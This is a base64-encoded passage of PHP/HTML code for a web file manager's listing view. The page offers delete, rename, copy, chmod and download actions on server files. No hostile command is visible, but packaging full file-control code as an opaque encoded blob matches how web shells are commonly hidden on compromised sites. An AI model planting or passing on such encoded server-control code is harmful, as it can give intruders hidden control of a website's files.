iYgISRoaWRlX0NvbHMpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICAkaWkgPSAzMzk5OwogICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJzsKICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7CiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSAiIjsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGxuZygnRm9sZGVyJyk7CiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmKSksIC00KTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHBhdGggLiAnLycgLiAkZikpOwogICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXIgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJGdyb3VwID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpaSA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWkgPz4iPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLXNvcnQ9PD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+PD9waHAgZWNobygkaXNfbGluayA/ICcg4oaSIDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+JyA6ICcnKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCAiMCIsIFNUUl9QQURfTEVGVCk7Pz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzs/PiI+PD9waHAgZWNobyAkbW9kaWYgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSJDaGFuZ2UgUGVybWlzc2lvbnMiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJyk/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgJzEwMjgnLCc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykuJyAnLmxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpPz4iIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcyhGTV9QQVRIKSkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcygkZikpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpPz4uLi4iIGhyZWY9Ij9wPSZjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZpbGVzLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJyk/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRpaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpayA9IDYwNzA7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOwogICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKCJGIGQgWSBIOmk6cy4iLCAkbW9kaWZfcmF3KSk7CiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CiAgICAgICAgICAgICAgICAkZmlsZWxpbmsgPSAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSAuICcmdmlldz0nIC4gdXJsZW5jb2RlKCRmKTsKICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3OwogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZikpLCAtNCk7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKSk7CiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWsgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PTw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoc3RydG9sb3dlcihwYXRoaW5mbygkZiwgUEFUSElORk9fRVhURU5TSU9OKSksIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgZGF0YS1wcmV2aWV3LWltYWdlPSI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz4iIHRpdGxlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiB0aXRsZT0iPD9waHAgZWNobyAkZiA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8oJGlzX2xpbmsgPyAnIOKGkiA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnLycgLiAkZikgLiAnPC9pPicgOiAnJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTsgPz4iPjxzcGFuIHRpdGxlPSI8P3BocCBwcmludGYoJyVzIGJ5dGVzJywgJGZpbGVzaXplX3JhdykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOz8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9Ijw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyBmbV9lbmMoJG93bmVyWyduYW1lJ10gLiAnOicgLiAkZ3JvdXBbJ25hbWUnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykuJyAnLmxuZygnRmlsZScpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+IDxpIGNsYXNzPSJmYSBmYS10cmFzaC1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZW5hbWUnKSA/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKSA/Pi4uLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGlyZWN0TGluaycpID8+IiBocmVmPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgMTIxMSwgJzw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkaWsrKzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PiI+PGVtPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXIgaXMgZW1wdHknKSA/PjwvZW0+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Zm9vdD4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0gZWxzZSB7ID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyYXkiIGNvbHNwYW49Ijw/cGhwIGVjaG8gKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpID8gKEZNX1JFQURPTkxZID8gJzYnIDonNycpIDogKEZNX1JFQURPTkxZID8gJzQnIDogJzUnKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRnVsbFNpemUnKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuZm1fZ2V0X2ZpbGVzaXplKCRhbGxfZmlsZXNfc2l6ZSkuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy4kbnVtX2ZpbGVzLic8L3NwYW4+JyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy4kbnVtX2ZvbGRlcnMuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGZvb3Q+CiAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgPC90YWJsZT4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS05Ij4KICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWlubGluZSBmb290ZXItYWN0aW9uIj4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+IDxhIGhyZWY9IiMvc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0ic2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NlbGVjdEFsbCcpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48YSBocmVmPSIjL3Vuc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0idW5zZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXdpbmRvdy1jbG9zZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5TZWxlY3RBbGwnKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGEgaHJlZj0iIy9pbnZlcnQtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJpbnZlcnRfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXRoLWxpc3QiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0ludmVydFNlbGVjdGlvbicpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIGlkPSJhLWRlbGV0ZSIgdmFsdWU9IkRlbGV0ZSIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InppcCIgaWQ9ImEtemlwIiB2YWx1ZT0iemlwIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXppcCcpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZS1hcmNoaXZlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1ppcCcpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1